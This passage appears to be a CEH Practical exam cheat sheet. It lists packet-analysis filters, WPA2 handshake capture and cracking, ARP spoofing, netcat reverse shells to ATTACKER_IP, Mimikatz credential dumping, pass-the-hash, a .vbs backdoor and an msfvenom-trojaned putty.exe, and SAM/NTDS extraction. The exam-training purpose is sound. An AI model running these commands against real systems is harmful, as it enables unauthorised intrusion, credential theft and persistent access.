Statistics → I/O Graph # Traffic spikes (attack window)
Wireshark — DDoS / Flood Signatures
tcp.flags.syn==1 && tcp.flags.ack==0 # SYN flood
tcp.flags.ack==1 && tcp.flags.syn==0 # ACK flood
icmp # ICMP/ping flood
udp # UDP flood
dns && udp.length > 300 # DNS amplification
http.request # HTTP flood (L7)
# Many source IPs → DDoS. One source IP → DoS.
Wireshark — TTL / OS Fingerprint
ip.ttl == 128 # Windows (default TTL 128)
ip.ttl == 64 # Linux/macOS (default TTL 64)
# Cisco default TTL 255. Round observed TTL UP to nearest default; each hop = -1.
Wireshark — MQTT / RAT Detection
mqtt # All MQTT
mqtt.msgtype == 1 # CONNECT (creds: mqtt.username / mqtt.passwd)
mqtt.msgtype == 3 # PUBLISH (actual data)
mqtt.topic contains "temp" # Topic search
tcp.port == 4444 # Common Metasploit/reverse-shell port
ip.dst == 203.0.113.66 # Suspected C2 IP (see beacons)
tcp.flags.push == 1 && tcp.len > 0 # Interactive shell data
# MQTT ports: 1883 (plain), 8883 (TLS), 9001 (WebSockets)
tcpdump
tcpdump -D # List interfaces
tcpdump -i eth0 # Capture on interface
tcpdump -i eth0 -w capture.pcap # Save to file
tcpdump -i eth0 -c 100 -w output.pcap # Capture 100 packets
tcpdump -i eth0 tcp # TCP only
tcpdump -i eth0 udp # UDP only
tcpdump -i eth0 src 192.168.1.5 # Source IP
tcpdump -i eth0 dst 10.0.0.0/8 # Destination net
tcpdump -i eth0 host 192.168.1.1 # Host filter
tcpdump -i eth0 port 80 # Port
tcpdump -i eth0 'tcp port 80' # HTTP traffic
tcpdump -i eth0 dst port 443 # Destination port
tcpdump -i eth0 portrange 1000-2000 # Port range
tcpdump -i eth0 "tcp port 80 or tcp port 443" # Complex filter
tcpdump -i eth0 -X "tcp port 21" # Hex + ASCII (find passwords)
tcpdump -i eth0 -A "tcp port 80" # ASCII only
tcpdump -r capture.pcap # Read file
tcpdump -r capture.pcap "tcp port 80" # Filter a file
tcpdump -r capture.pcap -w filtered.pcap "tcp and port 443" # Extract to new file
tcpdump -r capture.pcap -A | grep -i password # Grep cleartext creds
tcpdump -i eth0 "src 192.168.1.50 and dst not 192.168.0.0/16" -vv # RAT beaconing out
tshark
tshark -r capture.pcapng # Read file
tshark -r capture.pcapng -Y "http" # Apply filter
tshark -r capture.pcapng -Y "http.request" # HTTP requests only
tshark -r capture.pcapng -V # Verbose
tshark -r capture.pcapng -T fields -e ip.src -e ip.dst # Extract IPs
tshark -r capture.pcapng -Y "http.request" -T fields -e http.method -e http.host -e http.request.uri # HTTP
tshark -r capture.pcapng -Y "ftp.request.command == 'USER' or ftp.request.command == 'PASS'" -T fields -e ftp.request.command -e ftp.request.arg # FTP creds
tshark -r capture.pcapng -Y "dns.qry.name" -T fields -e dns.qry.name # DNS queries
tshark -r capture.pcapng -Y "mqtt.msgtype == 3" -T fields -e mqtt.topic -e mqtt.msg # MQTT
tshark -r capture.pcapng -Y "eapol" | head -20 # EAPOL frames (handshake verify)
tshark -r capture.pcapng -T json > output.json # JSON out
tshark -r capture.pcapng -T csv > output.csv # CSV out
tshark -r capture.pcapng -q -z endpoints,tcp # Endpoint stats
tshark -r capture.pcapng -q -z ip_hosts,tree # IP stats
Domain 7: Wireless Attacks
airmon-ng — Monitor Mode
sudo airmon-ng check kill # Kill interfering processes
sudo airmon-ng start wlan0 # Enable monitor mode → wlan0mon
sudo airmon-ng start wlan0 6 # Start on specific channel
sudo airmon-ng stop wlan0mon # Disable monitor mode
iwconfig wlan0mon # Verify "Mode:Monitor"
iwlist wlan0mon channel # List channels
sudo iwlist wlan0 scan | grep -E "ESSID|Group Cipher|Pairwise" # Show network security
airodump-ng — Scan & Capture
sudo airodump-ng wlan0mon # Scan all networks
sudo airodump-ng --essid "TargetNetwork" wlan0mon # Targeted scan
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # Capture handshake
airodump-ng -c [channel] --bssid [BSSID] -w [output_file] wlan0mon
# Watch for "WPA handshake: AA:BB:CC:DD:EE:FF" in upper right
# Columns: BSSID (router MAC), PWR (signal), CH (channel), ESSID (network name)
aireplay-ng — Deauthentication
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon # Deauth all clients
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon # Deauth specific client
sudo aireplay-ng --deauth 50 -a TARGET_BSSID wlan0mon # More packets if no handshake
sudo aireplay-ng -3 -b TARGET_BSSID -h MAC_ADDRESS wlan0mon # WEP ARP injection (legacy)
aircrack-ng — Verify & Crack
aircrack-ng Credmapwifi.cap # List networks in capture
aircrack-ng capture-01.cap # Verify handshake present
aircrack-ng handshake.pcap # Analyze capture file
aircrack-ng -J capture.json capture-01.cap # Convert to JSON / verify
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap # Crack (BSSID)
aircrack-ng -w wordlist.txt capture.cap # Crack all networks in file
aircrack-ng -w wordlist.txt -a 2 capture-01.cap # WPA2 mode
aircrack-ng wep_capture.pcap # WEP cracking
# Success: KEY FOUND! [ PASSWORD_HERE ]
Handshake Verification (alternatives)
tshark -r capture-01.cap -Y "eapol" | head -20 # Show EAPOL (4-way handshake) frames
cowpatty -r capture-01.cap -c # "Passphrase not in dictionary" = valid handshake
hashcat — WPA2 Mask Attack
hashcat -m 22000 capture.hc22000 -a 3 ?l?l?l?l?d?d?d?d # 4 lowercase + 4 digits
hashcat -m 22000 capture.hc22000 -a 3 ?u?l?l?l?l?l?l?l # Capital + 7 lowercase
hashcat -m 2500 [CAPTURE_FILE] [WORDLIST] # WPA2 cracking
# ?u=upper ?l=lower ?d=digit ?s=special
Wordlist Generation — crunch
crunch 8 8 0123456789 > numbers.txt # All 8-digit numbers
crunch 8 8 -t @@@@@@@? -o words.txt # Pattern-based
cat list1.txt list2.txt > combined.txt # Combine lists
sort combined.txt | uniq > deduped.txt # Deduplicate
Defensive / Automated
sudo wifite -all -wpa # Automated WPA testing
# Wireshark deauth-detection filter: wlan.fc.type_subtype == 0x0c
Full Attack Sequence (copy-paste)
# Terminal 1 — setup + capture
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Terminal 2 — force handshake
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Terminal 3 — crack after handshake confirmed
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
Domain 8: Sniffing & Spoofing
tcpdump -i eth0 -w capture.pcap # Packet capture
wireshark (open capture.pcap) # GUI analysis
ettercap -T -M arp:remote /192.168.1.5/ /192.168.1.10/ # ARP spoofing
arpspoof -i eth0 -t 192.168.1.5 192.168.1.1 # Redirect traffic
macchanger -r eth0 # Change MAC address
Domain 9: Post-Exploitation
Netcat
nc -lvnp [PORT] # Listen for connection
nc [ATTACKER_IP] [PORT] -e /bin/bash # Reverse shell
nc -lvp 4444 # Listen alt
nc [attacker IP] 4444 -e /bin/bash # Reverse shell alt
Mimikatz (Credential Dumping)
mimikatz.exe sekurlsa::logonpasswords
SSH Key Persistence
echo [YOUR_PUBLIC_KEY] >> ~/.ssh/authorized_keys
strace / ltrace
strace -p [PID] # Trace system calls of a process
strace [COMMAND] # Trace execution of a binary
strace -e trace=open [COMMAND] # Trace file access/descriptors
ltrace -p [PID] # Trace library calls of a process
ltrace [COMMAND] # Trace a program's library calls
ltrace -e [FUNCTION] [COMMAND] # Trace specific function calls
lsof (List Open Files)
lsof -p [PID] # Show files opened by a process (e.g., lsof -p 1234)
PowerSploit / Empire
Import-Module PowerSploit
usemodule credentials/mimikatz
Domain 10: Lateral Movement
PsExec (SMB)
Ports: 445/TCP (SMB) | Required group: Administrators
Connects to Admin$ share, uploads psexesvc.exe, creates/runs service for remote shell.
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
WinRM (Remote Process Creation)
Ports: 5985/TCP (HTTP), 5986/TCP (HTTPS) | Required group: Remote Management Users
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
Remote Service Creation via sc
Ports: 135/TCP, 445/TCP, 139/TCP | Required group: Administrators
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
Remote Scheduled Tasks
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1"
schtasks /S TARGET /TN "THMtask1" /DELETE /F
RDP Hijacking
PsExec64.exe -s cmd.exe
query user
tscon ID /dest:SESSIONNAME
Domain 11: NTLM Authentication Attacks
Pass-the-Hash (PtH)
# Extract NTLM hashes with Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::msv
# Use NTLM hash with PsExec
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
# Connect via WinRM using NTLM hash
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
Pass-the-Ticket (PtT)
# Extract ticket
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# Inject ticket
mimikatz # kerberos::ptt [ticket_file]
Overpass-the-Hash / Pass-the-Key
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:HASH /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
Domain 12: Abusing Writable Shares
Backdooring .vbs Scripts
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
Backdooring .exe Files
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
Domain 13: SSH Tunneling & Port Forwarding
SSH Remote Port Forwarding
ssh [email protected] -R 3389:3.3.3.3:3389 -N
xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword
SSH Local Port Forwarding
ssh [email protected] -L *:80:127.0.0.1:80 -N
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80
Port Forwarding with socat
socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321
socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
Dynamic Port Forwarding & SOCKS
ssh [email protected] -R 9050 -N
# proxychains.conf:
[ProxyList]
socks4 127.0.0.1 9050
proxychains curl http://pxeboot.za.tryhackme.com
Domain 14: Credential Harvesting
# PowerShell history
C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Registry search for passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Dump AD user info
Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description
# SAM/SYSTEM files
c:\Windows\System32\config\sam
reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
python3.9 /opt/impacket/examples/secretsdump.py -sam /tmp/sam-reg -system /tmp/system-reg LOCAL
# Volume Shadow Copy
wmic shadowcopy call create Volume='C:\'
vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
# LSASS memory dump (Mimikatz, requires debug privileges)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# Credential Manager / Vault
vaultcmd /list
VaultCmd /listproperties:"Web Credentials"
VaultCmd /listcreds:"Web Credentials"
# Run as different user
cmdkey /list
runas /savecred /user:THM.red\thm-local cmd.exe
# NTDS (Active Directory database)
C:\Windows\NTDS\ntds.dit
C:\Windows\System32\config\SYSTEM
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
python3.9 /opt/impacket/examples/secretsdump.py -security path/to/SECURITY -system path/to/SYSTEM -ntds path/to/ntds.dit local
# Remote NTDS dump
python3.9 /opt/impacket/examples/secretsdump.py -just-dc THM.red/<AD_Admin_User>@10.10.222.103
# Kerberoasting (SPN extraction)
python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip 10.10.222.103 THM.red/thm
python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip 10.10.222.103 THM.red/thm -request-user svc-user
hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt
# AS-REP Roasting
python3.9 /opt/impacket/examples/GetNPUsers.py -dc-ip 10.10.222.103 thm.red/ -usersfile /tmp/users.txt
# SMB Relay Attack
Use Responder or Impacket tools for LLMNR/NBNS poisoning and relay
Domain 15: Incident Response & Attack Surface (Linux)
System Logs
/var/log/auth.log # Authentication attempts (success/failure)
/var/log/syslog # General system activity/errors/warnings
/var/log/kern.log # Kernel-level events (driver errors, crashes)
Network Traffic
Tools: Wireshark, tcpdump, netstat — monitor unusual inbound/outbound connections
Running Processes / Services
ps aux # Check running processes
systemctl / service # Monitor active services
File & Process Integrity
Tools: AIDE (Advanced Intrusion Detection Environment), Tripwire
Linux Attack Surface
nmap / netstat -tuln # List open ports
systemctl / service --status-all # Audit running services
Nessus / OpenVAS / Lynis # Vulnerability scanning
Wireshark / tcpdump # Monitor network communication
Domain 16: Cloud & AI Tools
shellgpt "generate nmap command for all open ports" # AI-assisted command generation
Tranis AI # Cloud threat simulation (web interface)
malwareai scan sample.exe # Analyze malicious binaries
aws s3 ls # AWS cloud enumeration
gcloud storage ls # GCP bucket enumeration
Documentation & Reporting
script session.log # Record terminal sessions
nmap -sV example.com | tee output.txt # Save command output
pandoc notes.md -o report.pdf # Convert notes to report
grep "open" scan.txt # Filter large outputs
echo $(date) >> actions.log # Timestamp logs
Always include documentation commands (history, ifconfig, netstat) for professional reporting.
Quick Reference Table (Task → Tool → Command)
| Task | Tool | Command |
|---|---|---|
| Find live hosts | NMAP | nmap -sn 192.168.1.0/24 |
| Scan ports | NMAP | nmap -A -T4 -p- IP |
| Enumerate SMB | Enum4linux | enum4linux -a IP |
| Crack password (CPU) | John | john hashes.txt --wordlist=rockyou.txt |
| Crack password (GPU) | Hashcat | hashcat -m 0 hash rockyou.txt |
| Test SQL injection | SQLMAP | sqlmap -u URL --dbs |
| Scan web app | Nikto | nikto -h http://IP |
| Extract steganography | Steghide | steghide extract -sf image.jpg |
| Analyze PCAP | Wireshark | Open .pcap file, apply filters |
| Analyze traffic CLI | Tshark | tshark -r capture.pcapng |
| Capture packets | Tcpdump | tcpdump -i eth0 -w output.pcap |
| Access Android | ADB | adb connect IP:5555 |
| Analyze PE file | DIE | Open executable in GUI |
| Crack WiFi | Aircrack-ng | aircrack-ng -w wordlist.txt capture.cap |
Essential Tools Checklist
| Category | Tools |
|---|---|
| Scanning | nmap, netdiscover, masscan |
| Web Apps | sqlmap, wpscan, OWASP ZAP, Burp Suite |
| Wireless | aircrack-ng, wireshark |
| Password | hydra, john, hashcat |
| Steganography | snow, openstego, steghide |
| Cryptography | Cryptool, VeraCrypt |
| Mobile | adb, phonesploit |
| Analysis | binwalk, ent, file, strings |
Practical Scenarios Quick Guide
Scenario 1: Database OS Identification
nmap -p 3306 192.168.0.0/24 --open
nmap -O <mysql_server_ip>
Scenario 2: Suspicious User Account
net user
# Compare with given list of legitimate users
Scenario 3: FTP Credential Recovery
# Use Cryptool: DES(ECB) decryption
# Then: ftp <ip>
# get flag1.txt
Scenario 4: Steganography
snow -C -p "magic" Secret-Accounts.txt
Scenario 5: Mobile Forensics
adb connect 192.168.0.X:5555
adb shell
find /sdcard -name "*.elf"
adb pull /sdcard/folder ./
ent file.elf
sha384sum highest_entropy.elf
Scenario 6: DoS Attack Analysis
# Wireshark: Statistics → IPv4 Statistics
# Filter: tcp.flags.syn == 1 and tcp.flags.ack == 0
Time Management Tips
- First 10 minutes: Network reconnaissance
- Quick wins: Check common services (FTP, RDP, Web)
- Document findings: Keep notes of IPs, credentials, paths
- Flag format: Pay attention to requested answer format
- Validation: Double-check answers before submission
Common Pitfalls
- Forgetting to specify ports in nmap scans
- Not checking both TCP and UDP services
- Overlooking hidden files/directories
- Missing case sensitivity in passwords
- Not verifying successful exploitation
CEH Exam Tips
- Know how to perform both passive and active reconnaissance — the exam tests command syntax differences.
- Enumeration is like "peeling an onion" — each layer (DNS, SNMP, SMB) reveals more internal information.
- Understand how to differentiate false positives from actual exploitable vulnerabilities.
- Privilege escalation is like finding the master key inside a building you already entered.
- Manual testing with BurpSuite and SQLMap is expected in CEH Practical — memorize common SQLMap flags (
--dbs,--tables,--columns,--dump). - Expect CEH v13 labs around WPA2 cracking and Evil Twin AP attacks — practice using Kali + compatible adapter.
- Packet sniffing is like listening to conversations in a café — you're not speaking, just observing.
- AI integration is one of CEH v13's new dimensions — showing you can use AI for automation is a competitive edge.